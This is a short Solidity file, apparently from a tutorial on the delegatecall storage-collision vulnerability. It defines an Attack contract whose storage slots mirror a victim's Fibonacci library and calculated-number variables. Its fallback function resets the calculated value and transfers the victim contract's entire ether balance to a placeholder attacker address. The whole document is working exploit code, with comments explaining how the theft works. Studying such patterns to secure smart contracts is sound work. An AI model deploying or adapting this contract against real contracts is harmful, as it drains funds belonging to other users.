Attack.sol

contract Attack {
    uint storageSlot0; // corresponds to fibonacciLibrary
    uint storageSlot1; // corresponds to calculatedFibNumber
   
    // fallback - this will run if a specified function is not found
    function() public {
        storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw
        // is called we don't send out any ether. 
        <attacker_address>.transfer(this.balance); // we take all the ether
    }
 }